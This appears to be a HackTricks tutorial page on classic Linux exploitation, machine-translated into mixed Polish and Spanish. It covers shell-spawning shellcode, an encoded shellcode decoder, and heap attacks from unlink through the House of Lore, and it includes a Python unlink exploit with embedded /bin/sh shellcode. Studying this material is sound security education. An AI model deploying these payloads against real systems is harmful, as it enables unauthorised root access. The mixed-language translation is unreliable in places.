hacktricks/exploiting/linux-exploiting-basic-esp/README.md

571 lines
33 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
2022-05-01 13:25:53 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-30 10:12:47 +00:00
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; czyścimy eax\
xor ebx, ebx ; ebx = 0, ponieważ nie ma argumentu do przekazania\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Wykonaj syscall
**nasm -f elf assembly.asm** —> Zwraca nam .o\
**ld assembly.o -o shellcodeout** —> Daje nam wykonywalny plik utworzony z kodu assemblera i możemy uzyskać opcodes za pomocą **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Aby zobaczyć, że to rzeczywiście nasza shellcode i uzyskać OpCodes
**Sprawdź, czy shellcode działa**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-11 01:46:25 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Aby zobaczyć, że wywołania systemowe są realizowane poprawnie, należy skompilować powyższy program, a wywołania systemowe powinny pojawić się w **strace ./PROGRAMA\_COMPILADO**
Podczas tworzenia shellcode'ów można zastosować trik. Pierwsza instrukcja to skok do wywołania. Wywołanie (call) odwołuje się do oryginalnego kodu i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieściliśmy potrzebny ciąg, dzięki czemu z tym EIP możemy wskazać na ciąg i kontynuować wykonywanie kodu.
EJ **TRIK (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-11 01:46:25 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ używając Stosu(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Składa się z małego kodu, który przeszukuje strony pamięci związane z procesem w poszukiwaniu shellcode tam przechowywanego (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko małą przestrzeń na wstrzyknięcie kodu.
**Shellcodes polimórficzne**
Składają się z zaszyfrowanych shelli, które mają mały kod, który je deszyfruje i przeskakuje do niego, używając sztuczki Call-Pop, to byłby **przykład szyfrowania cezara**:
```
global _start
_start:
2024-02-11 01:46:25 +00:00
jmp short magic
init:
2024-02-11 01:46:25 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-11 01:46:25 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-11 01:46:25 +00:00
call init
sc:
2024-02-11 01:46:25 +00:00
;Aquí va el shellcode
```
## **5.Métodos complementarios**
**Technika Murat**
W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff
Patrząc na to, jak budowana jest stos nowego procesu w systemie Linux, można opracować exploit w taki sposób, aby program był uruchamiany w środowisku, którego jedyną zmienną byłby shellcode. Adres ten można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA\_pełnego\_programu) - strlen(shellcode)
W ten sposób można łatwo uzyskać adres, w którym znajduje się zmienna środowiskowa z shellcode.
Można to zrobić dzięki funkcji execle, która pozwala na stworzenie środowiska, które ma tylko te zmienne środowiskowe, które są pożądane.
###
###
###
###
###
### **Format Strings to Buffer Overflows**
**sprintf** przenosi sformatowany ciąg **do** **zmiennej.** Dlatego można nadużyć **formatowania** ciągu, aby spowodować **przepełnienie bufora w zmiennej**, do której kopiowana jest zawartość.\
Na przykład, ładunek `%.44xAAAA` **zapisze 44B+"AAAA" w zmiennej**, co może spowodować przepełnienie bufora.
### **\_\_atexit Structures**
{% hint style="danger" %}
Obecnie bardzo **dziwne jest wykorzystanie tego**.
{% endhint %}
**`atexit()`** to funkcja, do której **przekazywane są inne funkcje jako parametry.** Te **funkcje** będą **wykonywane** podczas wykonywania **`exit()`** lub **powrotu** z **main**.\
Jeśli możesz **zmodyfikować** **adres** dowolnej z tych **funkcji**, aby wskazywał na shellcode, na przykład, zyskasz **kontrolę** nad **procesem**, ale obecnie jest to bardziej skomplikowane.\
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adresy, na które wskazują, nie są adresami funkcji, ale są **szyfrowane za pomocą XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku jest **niewiele użyteczny przynajmniej na x86** i **x64\_86**.\
Funkcja **szyfrująca** to **`PTR_MANGLE`**. **Inne architektury** takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrującej**, ponieważ **zwraca to samo**, co otrzymała jako wejście. Tak więc te architektury byłyby atakowalne przez ten wektor.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Obecnie bardzo **dziwne jest wykorzystanie tego**.
{% endhint %}
**`Setjmp()`** pozwala na **zapisanie** **kontekstu** (rejestrów)\
**`longjmp()`** pozwala na **przywrócenie** **kontekstu**.\
**Zapisane rejestry** to: `EBX, ESI, EDI, ESP, EIP, EBP`\
Co się dzieje, to to, że EIP i ESP są przekazywane przez funkcję **`PTR_MANGLE`**, więc **architektury podatne na ten atak są takie same jak powyżej**.\
Są one przydatne do odzyskiwania błędów lub przerwań.\
Jednak, z tego co przeczytałem, inne rejestry nie są chronione, **więc jeśli w funkcji wywoływanej znajduje się `call ebx`, `call esi` lub `call edi`**, kontrola może być przejęta. Można również zmodyfikować EBP, aby zmodyfikować ESP.
2024-02-11 01:46:25 +00:00
**VTable i VPTR w C++**
2024-02-11 01:46:25 +00:00
Każda klasa ma **Vtable**, która jest tablicą **wskaźników do metod**.
Każdy obiekt klasy ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli uda się **nadpisać** **VPtr**, można go **zmodyfikować**, aby **wskazywał** na metodę zastępczą, tak aby wykonanie funkcji prowadziło do shellcode.
## **Medidas preventivas y evasiones**
###
**Zastąpienie Libsafe**
Aktywuje się za pomocą: LD\_PRELOAD=/lib/libsafe.so.2\
lub\
“/lib/libsave.so.2” > /etc/ld.so.preload
Przechwytywane są wywołania do niektórych niebezpiecznych funkcji przez inne bezpieczne. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla kompilacji statycznych, nie wszystkie funkcje podatne stają się bezpieczne, a LD\_PRELOAD nie działa w binariach z suid).
**ASCII Armored Address Space**
Polega na załadowaniu bibliotek współdzielonych od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednak to naprawdę nie zatrzymuje prawie żadnego ataku, a tym bardziej w little endian.
**ret2plt**
Polega na przeprowadzeniu ROP w taki sposób, aby wywołać funkcję strcpy@plt (z plt) i wskazać na wpis w GOT oraz skopiować pierwszy bajt funkcji, którą chce się wywołać (system()). Następnie robi się to samo, wskazując na GOT+1 i kopiując 2. bajt system()… Na końcu wywołuje się adres zapisany w GOT, który będzie system().
**Klatki z chroot()**
debootstrap -arch=i386 hardy /home/user —> Instaluje podstawowy system w określonym podkatalogu
Administrator może wyjść z jednej z tych klatek, wykonując: mkdir foo; chroot foo; cd ..
**Instrumentacja kodu**
Valgrind —> Szuka błędów\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Przydzielony kawałek**
prev\_size |\
size | —Nagłówek\
\*mem | Dane
**Wolny kawałek**
prev\_size |\
size |\
\*fd | Wskaźnik do następnego kawałka\
\*bk | Wskaźnik do poprzedniego kawałka —Nagłówek\
\*mem | Dane
Wolne kawałki znajdują się na podwójnie powiązanej liście (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone).
W "size" są bity, aby wskazać: Czy poprzedni kawałek jest w użyciu, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównej areny.
Jeśli podczas zwalniania kawałka którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i nowy większy kawałek jest przekazywany do frontlink(), aby wstawił odpowiedni bin.
unlink(){\
BK = P->bk; —> BK nowego kawałka to ten, który miał już wcześniej wolny\
FD = P->fd; —> FD nowego kawałka to ten, który miał już wcześniej wolny\
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek\
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek\
}
Dlatego, jeśli uda nam się zmodyfikować P->bk z adresem shellcode i P->fd z adresem do wpisu w GOT lub DTORS minus 12, osiągamy:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
I w ten sposób shellcode zostanie wykonany po zakończeniu programu.
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być naprawiona dla tego:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> To powoduje zapisanie 4 bajtów od 8. bajtu shellcode, więc pierwsza instrukcja shellcode musi być jmp, aby to przeskoczyć i przejść do nops, które prowadzą do reszty shellcode.
W związku z tym exploit jest tworzony:
W buffer1 umieszczamy shellcode, zaczynając od jmp, aby trafić w nops lub w resztę shellcode.
Po shellcode dodajemy wypełnienie, aż dotrzemy do pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (w taki sposób, aby nadpisać prev\_size, aby miał bit wskazujący, że jest wolny) i “-4“(0xfffffffc) w size (aby, gdy sprawdzi w 3. kawałku, czy 2. był w rzeczywistości wolny, poszło do zmodyfikowanego prev\_size, które powie, że jest wolny) -> Tak więc, gdy free() zbada, pójdzie do size 3. kawałka, ale w rzeczywistości pójdzie do 2. - 4 i pomyśli, że 2. kawałek jest wolny. A następnie wywoła **unlink()**.
Podczas wywoływania unlink() użyje jako P->fd pierwszych danych 2. kawałka, więc tam wprowadzi adres, który chce nadpisać - 12 (ponieważ w FD->bk doda 12 do zapisanej w FD adresu). A w tym adresie wprowadzi drugi adres, który znajdzie w 2. kawałku, który nas interesuje, aby był adresem do shellcode (fałszywe P->bk).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtów wypełnienia**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesuje, aby bit wskazujący, że poprzedni kawałek jest wolny, był ustawiony na 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, aby myślał, że “size” 3. kawałka jest 4 bajty wstecz (wskazuje na prev\_size), ponieważ tam sprawdza, czy 2. kawałek jest wolny**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Na początku ładunku umieścimy 8 bajtów wypełnienia**
**got\_free = pack("\<I", 0x08048300 - 12) #Adres free() w plt-12 (będzie to adres, który zostanie nadpisany, aby uruchomić shellcode przy 2. wywołaniu free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Jak już powiedziano, ładunek zaczyna się od 8 bajtów wypełnienia, bo tak**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modyfikujemy 2. kawałek, got\_free wskazuje, gdzie zapiszemy adres addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() zwalniając w odwrotnej kolejności (wargame)**
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności do zarezerwowanych.
2024-02-11 01:46:25 +00:00
W tym przypadku:
W kawałku c umieszczamy shellcode
Kawałek a używamy do nadpisania b w taki sposób, aby size miało bit PREV\_INUSE wyłączony, aby myślał, że kawałek a jest wolny.
Dodatkowo, nadpisujemy w nagłówku b size, aby wynosiło -4.
W ten sposób program pomyśli, że “a” jest wolne i w binie, więc wywoła unlink() w celu odłączenia go. Jednak, ponieważ nagłówek PREV\_SIZE wynosi -4, pomyśli, że kawałek “a” w rzeczywistości zaczyna się w b+4. To znaczy, wywoła unlink() na kawałku, który zaczyna się w b+4, więc w b+12 będzie wskaźnik “fd”, a w b+16 będzie wskaźnik “bk”.
W ten sposób, jeśli w bk umieścimy adres do shellcode, a w fd umieścimy adres do funkcji “puts()”-12, mamy nasz ładunek.
2024-02-11 01:46:25 +00:00
**Technika Frontlink**
Nazywa się frontlink, gdy zwalnia się coś i żaden z jego sąsiednich kawałków nie jest wolny, nie wywołuje się unlink(), lecz bezpośrednio wywołuje frontlink().
Przydatna podatność, gdy malloc, który jest atakowany, nigdy nie jest zwalniany (free()).
Wymaga:
Bufora, który może być przepełniony za pomocą funkcji wejściowej
Bufora przylegającego do tego, który musi być zwolniony i którego pole fd nagłówka zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
Bufora zadeklarowanego przed krokiem 3, który pozwoli na nadpisanie prev\_size tego
W ten sposób, osiągając nadpisanie w dwóch mallocach w sposób niekontrolowany i w jednym w sposób kontrolowany, ale tylko ten jeden jest zwalniany, możemy stworzyć exploit.
2024-02-11 01:46:25 +00:00
**Podatność double free()**
Jeśli wywoła się dwa razy free() z tym samym wskaźnikiem, pozostają dwa biny wskazujące na ten sam adres.
W przypadku chęci ponownego użycia jednego, zostanie przypisany bez problemów. W przypadku chęci użycia drugiego, zostanie przypisany ten sam obszar, przez co będziemy mieli wskaźniki “fd” i “bk” fałszywe z danymi, które zapisze poprzednia rezerwacja.
**After free()**
Wcześniej zwolniony wskaźnik jest używany ponownie bez kontroli.
## **8 Heap Overflows: Exploits avanzados**
Techniki Unlink() i FrontLink() zostały usunięte po modyfikacji funkcji unlink().
2022-04-28 23:27:22 +00:00
**The house of mind**
Wystarczy jedno wywołanie free(), aby spowodować wykonanie dowolnego kodu. Ważne jest, aby znaleźć drugi kawałek, który może być przepełniony przez wcześniejszy i zwolniony.
Wywołanie free() powoduje wywołanie public\_fREe(mem), co robi:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mem); —> Zwraca wskaźnik do adresu, w którym zaczyna się kawałek (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
\_int\_free(ar\_ptr, mem);
}
W \[1] sprawdza pole size bit NON\_MAIN\_ARENA, które można zmienić, aby sprawdzenie zwróciło true i wykonało heap\_for\_ptr(), które wykonuje and na “mem”, pozostawiając 2.5 najmniej znaczące bajty na 0 (w naszym przypadku z 0x0804a000 pozostawia 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jakby to był struct heap\_info)
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i ma być zwolniony kawałek w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, co chcemy, na przykład **0x0804a000**. Gdy ten drugi kawałek zostanie zwolniony, okaże się, że heap\_for\_ptr(ptr)->ar\_ptr zwraca to, co zapisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 and, które widzieliśmy wcześniej, a z tego uzyskuje się wartość 4 pierwszych bajtów, ar\_ptr)
W ten sposób wywołuje się \_int\_free(ar\_ptr, mem), to znaczy, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co zapisaliśmy w kawałku, który ma być zwolniony.
Tak jak definiuje unsorted\_chunks, wiemy, że:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Dlatego, jeśli w av->bins\[2] zapiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zapisze się w \_\_DTOR\_END\_\_ adres drugiego kawałka.
To znaczy, w pierwszym kawałku musimy na początku wielokrotnie umieścić adres \_\_DTOR\_END\_\_-12, ponieważ stamtąd weźmie av->bins\[2]
W adresie, w którym wyląduje adres drugiego kawałka z ostatnimi 5 zerami, należy zapisać adres do tego pierwszego kawałka, aby heap\_for\_ptr() myślał, że ar\_ptr jest na początku pierwszego kawałka i wyciągnie stamtąd av->bins\[2]
W drugim kawałku i dzięki pierwszemu nadpisujemy prev\_size z jump 0x0c i size czymś, aby aktywować -> NON\_MAIN\_ARENA
Następnie w kawałku 2 umieszczamy mnóstwo nops i na końcu shellcode.
W ten sposób wywoła się \_int\_free(TROZO1, TROZO2) i wykona instrukcje, aby zapisać w \_\_DTOR\_END\_\_ adres prev\_size kawałka 2, który przeskoczy do shellcode.
Aby zastosować tę technikę, należy spełnić kilka dodatkowych wymagań, które nieco komplikują ładunek.
Ta technika nie jest już stosowana, ponieważ zastosowano prawie tę samą łatkę, co dla unlink. Porównuje się, czy nowe miejsce, na które wskazuje, również wskazuje na niego.
**Fastbin**
Jest to wariant The house of mind
Interesuje nas, aby wykonać następujący kod, do którego dochodzi po pierwszym sprawdzeniu funkcji \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Gdzie fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
W ten sposób, jeśli umieścimy w “fb” adres funkcji w GOT, w tym adresie umieścimy adres do nadpisanego kawałka. Aby to zrobić, konieczne będzie, aby arena była blisko adresów dtors. Dokładniej, aby av->max\_fast znajdowało się w adresie, który zamierzamy nadpisać.
Ponieważ w The House of Mind widzieliśmy, że kontrolowaliśmy pozycję av.
Więc jeśli w polu size umieścimy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1], co wskaże na av->max\_fast
W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie tym, na który wskazuje, lecz ta pozycja będzie nadpisana).
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 8, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops).
Dodatkowo, ten sam fałszywy kawałek musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej.
Z powodu zer w \_DTOR\_END\_ i niewielkiej liczby adresów w GOT, żaden z adresów w tych sekcjach nie nadaje się do nadpisania, więc zobaczmy, jak zastosować fastbin do ataku na stos.
Innym sposobem ataku jest przekierowanie **av** do stosu.
Jeśli zmodyfikujemy rozmiar, aby wynosił 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0] i możemy to wykorzystać do nadpisania stosu.
Aby to zrobić, nie może być żadnego canary ani dziwnych wartości na stosie, w rzeczywistości musimy znajdować się w tym: 4 bajty zerowe + EBP + RET
4 bajty zerowe są potrzebne, aby **av** znajdowało się pod tym adresem, a pierwszy element **av** to mutex, który musi wynosić 0.
**av->max\_fast** będzie EBP i będzie wartością, która posłuży nam do ominięcia ograniczeń.
W **av->fastbins\[0]** zostanie nadpisany adresem **p** i będzie RET, w ten sposób przeskoczy do shellcode.
Dodatkowo, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie sporo śmieci, które pozwolą nam ominąć przeprowadzane sprawdzenie.
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 16, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops, które są po polu size nowego fałszywego kawałka).
**The House of Spirit**
W tym przypadku staramy się mieć wskaźnik do malloc, który może być zmieniany przez atakującego (np. wskaźnik znajduje się na stosie pod potencjalnym przepełnieniem zmiennej).
W ten sposób moglibyśmy sprawić, że ten wskaźnik wskazywałby, gdziekolwiek byśmy chcieli. Jednak nie każde miejsce jest ważne, rozmiar fałszywego kawałka musi być mniejszy niż av->max\_fast i bardziej konkretnie równy rozmiarowi żądanym w przyszłym wywołaniu malloc()+8. Dlatego, jeśli wiemy, że po tym podatnym wskaźniku wywoływane jest malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
Na przykład, jeśli program pytałby użytkownika o liczbę, moglibyśmy wprowadzić 48 i skierować wskaźnik malloc do następnych 4 bajtów (które mogłyby należeć do EBP z nadzieją, że 48 znajduje się za nim, jakby to była nagłówek size). Dodatkowo, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), to znaczy, 8 < ptr-4+48 < av->system\_mem.
Jeśli to zostanie spełnione, gdy wywołane zostanie następne malloc, które powiedzieliśmy, że to malloc(40), zostanie przypisane jako adres adresu EBP. Jeśli atakujący również może kontrolować, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem, który chce.
Myślę, że tak jest, ponieważ w ten sposób, gdy to zwolni free(), zapamięta, że w adresie, na który wskazuje EBP stosu, znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chce być zarezerwowany, więc przypisuje ten adres.
**The House of Force**
Wymagane jest:
* Przepełnienie kawałka, które pozwala na nadpisanie wilderness
* Wywołanie malloc() z rozmiarem określonym przez użytkownika
* Wywołanie malloc(), których dane mogą być definiowane przez użytkownika
Pierwsze, co się robi, to nadpisanie rozmiaru kawałka wilderness bardzo dużą wartością (0xffffffff), w ten sposób każda prośba o pamięć wystarczająco dużą będzie traktowana w \_int\_malloc() bez potrzeby rozszerzania heap.
Drugie to zmiana av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, jak stos. W av->top umieścimy \&EIP - 8.
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
victim = av->top;
remainder = chunk\_at\_offset(victim, nb);
av->top = remainder;
Victim zbiera wartość adresu aktualnego kawałka wilderness (aktualny av->top), a remainder to dokładnie suma tego adresu i ilości bajtów żądanych przez malloc(). Dlatego, jeśli \&EIP-8 znajduje się w 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc() wyniesie:
0xbffff224 - 0x080c2788 = 3086207644.
W ten sposób w av->top zostanie zapisany zmieniony wartość, a następny malloc będzie wskazywał na EIP i będzie mógł go nadpisać.
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie złożone przez ostatni malloc(). To znaczy, jeśli wilderness wskazuje na \&EIP-8, rozmiar znajdzie się dokładnie w polu EBP stosu.
**The House of Lore**
**Korupcja SmallBin**
Zwolnione kawałki są wprowadzane do binu w zależności od ich rozmiaru. Ale zanim zostaną wprowadzone, są przechowywane w unsorted bins. Kawałek jest zwalniany, nie jest od razu umieszczany w swoim binie, lecz pozostaje w unsorted bins. Następnie, jeśli zarezerwowany zostanie nowy kawałek, a poprzedni zwolniony może być użyty, zostanie zwrócony, ale jeśli zarezerwowany zostanie większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
Aby osiągnąć kod podatny, żądanie pamięci musi być większe niż av->max\_fast (72 zazwyczaj) i mniejsze niż MIN\_LARGE\_SIZE (512).
Jeśli w binach znajduje się kawałek o odpowiednim rozmiarze do tego, co jest żądane, zostanie zwrócony po odłączeniu:
bck = victim->bk; Wskazuje na poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następny zarezerwowany kawałek otrzyma ten adres
bck->fd = bin; Lista jest zamykana, sprawiając, że ten wskazuje na bin
Wymaga:
Aby zarezerwować dwa malloc, tak aby do pierwszego można było przepełnić po tym, jak drugi został zwolniony i wprowadzony do swojego binu (to znaczy, aby zarezerwować malloc większy niż drugi kawałek przed przepełnieniem)
Aby zarezerwowany malloc, któremu nadano adres wybrany przez atakującego, był kontrolowany przez atakującego.
Celem jest następujące: jeśli możemy przepełnić heap, który ma pod sobą już zwolniony kawałek i w swoim binie, możemy zmienić jego wskaźnik bk. Jeśli zmienimy jego wskaźnik bk i ten kawałek stanie się pierwszym w liście bin, a zostanie zarezerwowany, bin zostanie oszukany i powie, że ostatni kawałek listy (następny do zaoferowania) znajduje się pod fałszywym adresem, który umieściliśmy (na stosie lub GOT, na przykład). W ten sposób, jeśli ponownie zarezerwowany zostanie inny kawałek, a atakujący ma do niego dostęp, otrzyma kawałek w pożądanej pozycji i będzie mógł w nim pisać.
Po zwolnieniu zmodyfikowanego kawałka konieczne jest, aby zarezerwowany został kawałek większy niż zwolniony, w ten sposób zmodyfikowany kawałek wyjdzie z unsorted bins i zostanie wprowadzony do swojego binu.
Gdy już będzie w swoim binie, nadszedł czas, aby zmodyfikować jego wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
W ten sposób bin będzie musiał czekać na wywołanie malloc() wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego binu i oszukać bin, sprawiając, że następny kawałek znajduje się pod fałszywym adresem. A następnie zostanie zwrócony kawałek, który nas interesuje.
Aby podatność została wykonana jak najszybciej, idealnie byłoby: rezerwacja podatnego kawałka, rezerwacja kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, rezerwacja kawałka większego, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), rezerwacja kawałka o tym samym rozmiarze co zmodyfikowany i rezerwacja drugiego kawałka o tym samym rozmiarze, a ten będzie wskazywał na wybrany adres.
Aby chronić ten atak, zastosowano typowe sprawdzenie, że kawałek “nie” jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. To znaczy, w naszym przypadku, czy wskaźnik fd\* fałszywego kawałka wskazywanego na stosie wskazuje na victim. Aby obejść tę ochronę, atakujący powinien być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim adresie adres victim. Aby w ten sposób wyglądało to jak prawdziwy kawałek.
**Korupcja LargeBin**
Wymagane są te same wymagania, co wcześniej i jeszcze kilka, dodatkowo zarezerwowane kawałki muszą być większe niż 512.
